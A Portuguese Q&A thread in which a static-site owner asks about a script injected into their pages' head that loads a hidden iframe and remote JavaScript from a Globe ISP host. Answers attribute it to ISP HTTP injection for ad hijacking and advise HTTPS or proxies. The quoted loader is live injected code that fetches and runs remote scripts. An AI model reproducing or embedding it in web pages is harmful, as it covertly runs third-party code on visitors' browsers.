
Eu tenho um site estático. Eu atualizo as páginas da web localmente no meu computador e depois as carrego usando o FileZilla. No entanto, uma vez carregado, reviso o código-fonte de qualquer uma das minhas páginas e vejo um script que é injetado dentro do arquivo <head>
. O script não altera o layout nem o conteúdo visível da página, então não sei o que ele faz:
<script>
if (top == window) {
var engageNameSpace = "engagens";
"undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
function e(e) {
return "undefined" != typeof e && null !== e
}
function t() {
var t = document.createElement("script");
t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
}
function n() {
var t = r();
if (e(t)) {
var n = t;
i() && (n = d(t));
var o;
try {
o = document.documentElement, o.appendChild(n)
} catch (c) {
o = document.body, o.appendChild(n)
}
a()
}
}
function a() {
function e(e) {
var n = e.data;
"l8IframeIsReady" === n.message && t()
}
window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
}
function r() {
var t = document.createElement("iframe");
if (e(t)) {
t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
var n = /firefox/i.exec(navigator.userAgent);
e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
}
return t
}
function i() {
var t = !1,
n = /android (\d+)/i.exec(navigator.userAgent);
return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
}
function d(e) {
var t = document.createElement("div");
return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
return !0
}, t.appendChild(e), t
}
function o() {
var t = void 0,
a = this,
r = function() {
e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
};
t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
}
var c = "http://globe.moreforme.net",
u = c + "/l8/EngageService?v=1",
s = c + "/scripts/Engage.js";
o()
};
var engageLoader = new window[engageNameSpace].engageLoader
}
</script>
Ao verificar o URL no script http://globe.moreforme.net
, percebo que o script provavelmente é do nosso ISP (Globe). Como sou novato em segurança na Internet, não sei como o script chegou lá. Meu site é HTML estático. Como posso evitar que esse script apareça no código-fonte após o upload da página?
EDITAR:
Encontrei istolinkesse parece ser o código do modelo para criar o script. Alguém sabe o que o script faz?
Responder1
Primeiro, isso só funciona porque você está em HTTP em vez de HTTPS
Seu ISP está injetando esse script e usando-o para carregar dinamicamente outro script (em um iframe?).
Por alguma razão, não consigo navegar para Globe.moreforme.net, que hospeda os scripts... ele está me redirecionando para Globe.moreforme.ph, então Globe.moreforme.net provavelmente está disponível apenas para pessoas que usam o ISP.
Agora, se eu tivesse que adivinhar... eu diria que o ISP está usando esse script carregado dinamicamente para sequestrar anúncios nas páginas que você visita, a fim de reivindicar a revista para si.
Você deve ser capaz de evitar isso usando apenas sites HTTPS ou usando um proxy SOCKS5 seguro (que é estúpido e simples de configurar em um VPS por um preço muito barato) pesquisando Dynamic Port Forwarding
no SSH. Alternativamente, você pode procurar o ShadowSocks se estiver em um país que tenha um firewall nacional (China).
Responder2
Este é o resultado da parceria da Globe Telecom com a maligna Flash Networks para modificar as páginas que seus clientes estão carregando, adicionando seus anúncios e provavelmente hackeando os anúncios de outras pessoas.
A legalidade disso é questionável - eles deveriam estar violando pelo menos as leis de direitos autorais. Mas dada a jurisdição filipina, não creio que haja algo que se possa fazer legalmente.
Esta também é a razão pela qual todos os sites devem usar HTTPS e HTTP desativado (exceto redirecionar para HTTPS). Hoje, existem várias maneiras de obter gratuitamente o certificado SSL para o seu nome DNS e isso também melhora sua pontuação no Google.